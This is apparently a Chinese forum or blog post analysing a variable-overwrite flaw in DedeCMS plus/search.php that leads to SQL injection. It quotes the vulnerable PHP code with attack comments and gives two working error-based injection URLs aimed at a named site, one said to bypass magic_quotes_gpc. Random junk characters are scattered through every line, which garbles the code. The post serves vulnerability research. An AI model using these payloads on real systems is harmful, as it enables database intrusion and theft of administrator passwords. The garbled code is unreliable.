微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
) B' X" r4 E) p作者: c4rp3nt3r@0x50sec.org( m) t. J3 \5 K8 C, o- L; ^
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码./ I* I! e H+ m! j8 S
# \ E: F0 i3 L
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.' t1 L6 _6 F8 q R" j. x+ i
6 P/ l9 G9 ?7 W1 E# @============
. i& n+ |% L. Q2 U 2 ?4 D5 C5 O, }' O
. ~1 h8 m: U( ?2 rDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
. B4 b9 R+ W E# h5 b& T& P 7 A @2 Y# x: j, U% z3 r+ Y: I3 s
require_once(dirname(__FILE__).”/../include/common.inc.php”);( r4 v W2 v& B
require_once(DEDEINC.”/arc.searchview.class.php”);" h+ t6 i9 W a, g% Q
# G# X" s+ a" P6 F! r6 ^& s' g& G
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;! s% O; P6 @, H* I0 h' z) q5 k
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
4 j' V: k* _: D0 `7 Y$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;9 C. ]4 X* @. J/ g, s7 W
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;* D7 \- O# W [: O3 X
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;) Y: F) g2 w8 h( N: O1 G& Z
+ k2 m# S0 v- |* L3 A1 @
if(!isset($orderby)) $orderby=”;" k, M- C- u$ }+ q# T U
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
$ T n% h2 m2 C d. `) ?. f: N
+ e+ }: B* L/ [$ A7 l $ J: }# N% E+ O" G G6 J
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
# b. R" z. S7 relse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
8 X% V8 f3 w6 P5 O2 J: l0 P " Y1 d# n1 w5 {7 H: E1 g" \) d
if(!isset($keyword)){/ C$ i4 A0 a7 a( {( N2 v
if(!isset($q)) $q = ”;
3 R- c5 \7 r5 u, ]' n $keyword=$q;& p% Y2 h& F9 {( }% V% R& C
}+ M$ F4 C/ g4 k8 J/ q8 a0 e
7 L+ W3 @/ F& {- p
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
* ]& C% T0 Y% W" { L1 w
( o% I& z q: g/ h//查找栏目信息. {( ?( F" i# T. \
if(empty($typeid))
( x0 t6 x) f$ A& K6 Y{ Z) S0 X/ _ S/ I: D1 g# b
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;- @) A, Q/ J9 G- u. k
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
/ t- h/ P5 `, J {! d8 ? N9 V$ v
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);) `4 x7 E1 c( p% t' f5 {6 a0 f
fwrite($fp, “<”.”?php\r\n”);
, M! H( Y2 I, o, l0 d8 n' m $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
. v' I0 u; u. @$ ` $dsql->Execute();
+ _0 L6 P* Q' { while($row = $dsql->GetArray())
5 x. I0 l# f2 W) ^& H% K2 C {
% ` d( _- b# ]) k6 b* R( n a fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
F( _' z. {: F Q7 f }% q8 Z3 q" y4 k& N' @1 Y) E
fwrite($fp, ‘?’.'>’);! k1 J! ^7 ?8 P5 `3 I$ j1 a7 Y' Z t
fclose($fp);
3 J P# v, f, P }5 K" L; j3 E0 U
//引入栏目缓存并看关键字是否有相关栏目内容& p; `! h3 W2 v; I6 Q: q* q# g
require_once($typenameCacheFile);3 B1 q, x/ u2 C# }
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
# A1 x" ?5 d. _7 L# u//; T" r/ c: @4 D2 f
if(isset($typeArr) && is_array($typeArr))
' k% e0 T# ~1 L) d7 n) p% [ {
3 z3 M# G5 {5 c foreach($typeArr as $id=>$typename)
3 c. C5 ~+ U5 K" d {: l, L2 @! ?9 n% S- h0 Q
" a0 m m% n+ h' q7 U( T <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
5 H& `7 X6 O0 |2 ~5 ?. y if($keyword != $keywordn)
& A0 F0 } U! J* e e4 A {
' Y1 O2 Z5 C1 W' Z8 ]! I $keyword = $keywordn;
2 h. F8 F a; Y6 w, @. G <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设# w2 _* G2 c# c5 J
break;
7 F* y1 H3 n) I' e }
' K3 c& w" q4 X; `+ _# J+ U }+ d' R7 ]7 `6 M$ ~
}
/ G y1 ~& R; J1 A}$ r1 E* X# U/ C2 M0 v% R; z
然后plus/search.php文件下面定义了一个 Search类的对象 .
: h8 b1 A0 V. T' u7 q" t在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.; j% m0 v' J5 k& ^
$this->TypeLink = new TypeLink($typeid);! A/ S0 y* y1 }/ }
# T/ x' h0 @& h) x
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
0 l& }. ~# w* Q5 X! n$ f# t 3 ?0 _, v* @$ Z: }
class TypeLink
) S+ r" R: v2 m" ^& q9 Z3 D1 p{, F y3 y4 h" l9 k6 c
var $typeDir;
1 [+ }" Z$ P& M9 i8 G9 C) e var $dsql;
/ k6 |& t& H$ s: i7 }: } var $TypeID;9 t4 v) m, K% Z' r' f" Y4 F+ O
var $baseDir;
# C7 H* y! R6 c& ]( p var $modDir;$ C1 [. K" m" x% d3 b
var $indexUrl;9 @7 ~ ^2 m3 A$ w( S0 ~
var $indexName;
9 O3 q: K9 r+ B) ?, c var $TypeInfos;
) k/ J: x( ]4 K% \; S1 l( Z2 w var $SplitSymbol;, D' _ _# c8 Y; `( J9 c
var $valuePosition;
, j' z4 X! @9 X+ Y' {+ T9 ] var $valuePositionName;, `: P$ J& p* L
var $OptionArrayList;//构造函数///////
6 e1 ]) ^5 L$ }8 k; a# I8 b //php5构造函数3 J6 Z1 T1 r' R2 E% @
function __construct($typeid)
& @9 o" @9 e$ f5 w" J1 X {
% K: @7 f1 a6 e& P+ c $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
4 \* u: J$ j. x$ E $this->indexName = $GLOBALS['cfg_indexname'];
! E+ y& u+ H$ ?0 ^' [: M $this->baseDir = $GLOBALS['cfg_basedir'];3 D Y4 n, K; T% I" L
$this->modDir = $GLOBALS['cfg_templets_dir'];
* |$ U) {" Z* i3 ` $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];3 t" q d2 Q( h; j, Z
$this->dsql = $GLOBALS['dsql'];1 L& U1 \* }6 B2 a2 q* l1 T
$this->TypeID = $typeid;8 U. }* y4 r! U7 C; \
$this->valuePosition = ”;
. F( {0 L4 V1 d $this->valuePositionName = ”;1 t* Z F( H, c$ G2 i3 H2 D
$this->typeDir = ”;
7 W& r) _9 f- q; `& D3 x @ $this->OptionArrayList = ”;: j$ B, F D# V- I+ ]' ]0 a+ s
: b1 o% K F: J; K
//载入类目信息* L/ j$ h! r$ H0 _% t1 J
3 o. S7 Q# o; o( L* Z <font color=”Red”>$query = “SELECT tp.*,ch.typename as
# l4 K( P9 o% l m$ P! ictypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
" k' b, ^, M% Y! r1 y& h% [; B`#@__channeltype` ch3 Q# j U1 @! W/ w! v' j
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
1 }, q0 L7 g% h n3 |3 ? 9 T1 Z6 U! |% c8 U& n& H
if($typeid > 0)
- {. P; @, r' k& b {: s" H" m4 {7 c# o
$this->TypeInfos = $this->dsql->GetOne($query);
' D' f p$ y0 v/ ~( [/ D6 Z利用代码一 需要 即使magic_quotes_gpc = Off/ t1 A7 v; |& k+ R: U/ k0 A
L2 F1 n h* c; @www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
. h" d- z. z2 `& h
7 U z- t; ?2 k4 `2 h& z& A& H这只是其中一个利用代码… Search 类的构造函数再往下 z: L. y0 H2 ]) Q
( a$ q# B% Q! N+ ?2 L……省略3 x$ B$ L# ]& B% v5 g
$this->TypeID = $typeid;
: P+ \, \# l9 _3 X' l+ v……省略6 z1 K( |. M$ _! f3 G! @4 X9 m/ T6 ]
if($this->TypeID==”0″){
' [ w8 |9 K; \ $this->ChannelTypeid=1;
1 D) r d4 z9 ?2 s8 L }else{% q$ r9 I6 |; m% k' N. I* C
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
, Q1 e/ f* I( N, N# v- _' o//现在不鸡肋了吧亲…) r7 E8 Y/ c1 {/ G8 e2 h
$this->ChannelTypeid=$row['channeltype'];
, W4 U# f: m8 D4 V4 x S- E / A6 f ?. a! s( I" f) v
}
( _( s: S; X6 V: D6 J% y利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
) ?% [( u3 b8 H4 I: s X- `4 v- H) m; i4 f# d$ G3 A
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title+ p4 z3 l2 x3 a% x) c
; |3 ~* e) n5 R# W, o
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站) l- H q5 w) l5 W% x/ [( e" K( F4 C' c
|